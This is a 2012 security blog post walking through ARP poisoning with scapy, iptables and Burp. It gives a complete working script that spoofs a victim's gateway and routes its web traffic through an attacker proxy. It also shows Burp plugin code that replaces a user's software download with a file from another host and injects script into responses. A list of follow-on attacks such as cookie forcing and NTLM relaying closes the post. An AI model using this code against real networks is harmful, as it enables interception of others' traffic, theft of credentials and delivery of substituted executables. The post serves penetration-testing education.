Some Practical ARP Poisoning with Scapy, IPTables, and Burp
July 6, 2012 7 Comments
ARP poisoning is a very old attack that you can use to get in the middle. A traditional focus of attacks like these is to gather information (whether that information is passwords, auth cookies, CSRF tokens, whatever) and there are sometimes ways to pull this off even against SSL sites (like SSL downgrades and funny domain names). One area I don’t think gets quite as much attention is using man in the middle as an active attack against flaws in various applications. Most of the information is available online, but the examples I’ve seen tend to be piecemeal and incomplete.
Getting an HTTP proxy in the Middle
In this example I’m going to use Backtrack, scapy, and Burp. While there are a lot of cool tools that implement ARP poisoning, like Ettercap and Cain & Abel, it’s straightforward to write your own that’s more precise and easier to see what’s going on.
Here’s a quick (Linux only) script that does several things. 1) it sets up iptables to forward all traffic except destination ports 80 and 443, and it routes 80 and 443 locally 2) at a given frequency, it sends arp packets to a victim that tells the victim to treat it as the gateway IP.
The code is hopefully straightforward. Usage might be python mitm.py –victim=192.168.1.14
from scapy.all import * import time import argparse import os import sys def arpPoison(args): conf.iface= args.iface pkt = ARP() pkt.psrc = args.router pkt.pdst = args.victim try: while 1: send(pkt, verbose=args.verbose) time.sleep(args.freq) except KeyboardInterrupt: pass #default just grabs the default route, http://pypi.python.org/pypi/pynetinfo/0.1.9 would be better #but this just works and people don't have to install external libs def getDefRoute(args): data = os.popen("/sbin/route -n ").readlines() for line in data: if line.startswith("0.0.0.0") and (args.iface in line): print "Setting route to the default: " + line.split() args.router = line.split() return print "Error: unable to find default route" sys.exit(0) #default just grabs the default IP, http://pypi.python.org/pypi/pynetinfo/0.1.9 would be better #but this just works and people don't have to install external libs def getDefIP(args): data = os.popen("/sbin/ifconfig " + args.iface).readlines() for line in data: if line.strip().startswith("inet addr"): args.proxy = line.split(":").split() print "setting proxy to: " + args.proxy return print "Error: unable to find default IP" sys.exit(0) def fwconf(args): #write appropriate kernel config settings f = open("/proc/sys/net/ipv4/ip_forward", "w") f.write('1') f.close() f = open("/proc/sys/net/ipv4/conf/" + args.iface + "/send_redirects", "w") f.write('0') f.close() #iptables stuff os.system("/sbin/iptables --flush") os.system("/sbin/iptables -t nat --flush") os.system("/sbin/iptables --zero") os.system("/sbin/iptables -A FORWARD --in-interface " + args.iface + " -j ACCEPT") os.system("/sbin/iptables -t nat --append POSTROUTING --out-interface " + args.iface + " -j MASQUERADE") #forward 80,443 to our proxy for port in args.ports.split(","): os.system("/sbin/iptables -t nat -A PREROUTING -p tcp --dport " + port + " --jump DNAT --to-destination " + args.proxy) parser = argparse.ArgumentParser() parser.add_argument('--victim', required=True, help="victim IP") parser.add_argument('--router', default=None) parser.add_argument('--iface', default='eth1') parser.add_argument('--fwconf', type=bool, default=True, help="Try to auto configure firewall") parser.add_argument('--freq', type=float, default=5.0, help="frequency to send packets, in seconds") parser.add_argument('--ports', default="80,443", help="comma seperated list of ports to forward to proxy") parser.add_argument('--proxy', default=None) parser.add_argument('--verbose', type=bool, default=True) args = parser.parse_args() #set default args if args.router == None: getDefRoute(args) if args.proxy == None: getDefIP(args) #do iptables rules if args.fwconf: fwconf(args) arpPoison(args)
You can see some of what’s happening by dumping the arp tables on the victim machine. In my case, 192.168.1.1 is the gateway I’m spoofing.
after the script is run against the victim, the arp tables are changed to the attacker controlled ‘proxy’ value (by default the attacker machine). In this example it’s easy to see the legitimate gateway at 00:25:9c:4d:b3:cc has been replaced with our attacker machine 00:0c:29:8c:c1:d8.
At this point all traffic routes through us, and our iptables is configured to send ports 80 and 443 to our ‘proxy’. Your proxy should be configured to listen on all interfaces and set to “invisible” mode.
You should be able to see HTTP and HTTPS traffic from the victim routing through Burp. All other traffic (e.g. DNS) should pass through unmodified. Obviously, the ports that are forwarded and whatnot can be pretty easily configured, but this post is focusing on web attacks.
The next few sections of this post are some attacks that can be useful.
Replacing an HTTP Download
It’s very common, even for some of the best security organizations in the world, to allow downloads over HTTP (even in the somewhat rare case that the rest of their site is over HTTPS). You don’t have to look very far to find applications that are able to be downloaded without encryption, and in fact Firefox was the first place I looked. Here’s a stupid example where I use a burp plugin to detect when a user tries to download firefox, and then I replace it with chrome’s setup. I’m not trying to point out any problems with Mozilla – 99% of the internet’s executables seem to be downloaded over HTTP.
The Burp plugin uses this https://github.com/mwielgoszewski/jython-burp-api, which seems pretty cool. This was my first chance using it.
from gds.burp.api import IProxyRequestHandler from gds.burp.core import Component, implements class ExamplePlugin(Component): implements(IProxyRequestHandler) def processRequest(self, request): if "Firefox%20Setup%20" in request.url.geturl() and ".exe" in request.url.geturl(): print "Firefox download detected, redirecting" request.host = "18.104.22.168" request.raw = ("GET /downloads/Firefox%20Setup%2013.0.1.exe HTTP/1.1\r\n" + "HOST: 22.214.171.124\r\n\r\n")
Clientside attacks in the middle can be super interesting, and they include a lot of scenarios that aren’t always possible otherwise. Here’s a non-comprehensive list that comes to mind:
- XSS in any HTTP site, and sometimes interaction with HTTPS sites if cookies aren’t secure
- Cookie forcing is possible. E.g. if a CSRF protection compares a post parameter to a cookie then you can set the cookie and perform the CSRF, even if the site is HTTPS only. We talk about this in our CCC talk.
- Forced NTLM relaying with most domain networks.
- If XSS is already possible, you can force a victim to make these requests without convincing them to click on a link. This could be useful in targeted internal attacks, like these, that could get shells
def processResponse(self, request): #very sloppy way to call only once, forcing exception on the first call try: self.attack += 1 except: script = "<script>alert(document.domain)</script>" #simply inject into the first </head> we see if "</head>" in request.response.raw: print "Beginning Injection..." print type(request.response.raw) request.response.raw = request.response.raw.replace("</head>", script + "</head>", 1) #self.attack = 1
Blah. Blah. Use HTTPS and expensive switches or static ports. Blah. Does this solve the problem, really? Blah. Blah.
I do have a reason for working on this. Can you pwn the corporate network just using ARP poisoning? NTLM relay attacks are freaking deadly, and I’ll be talking about them over the next few weeks, once at work and then at Blackhat as a tool arsenal demo. Man in the middle attacks like these offer a great/nasty way to target that operations guy and get code execution. More on this later.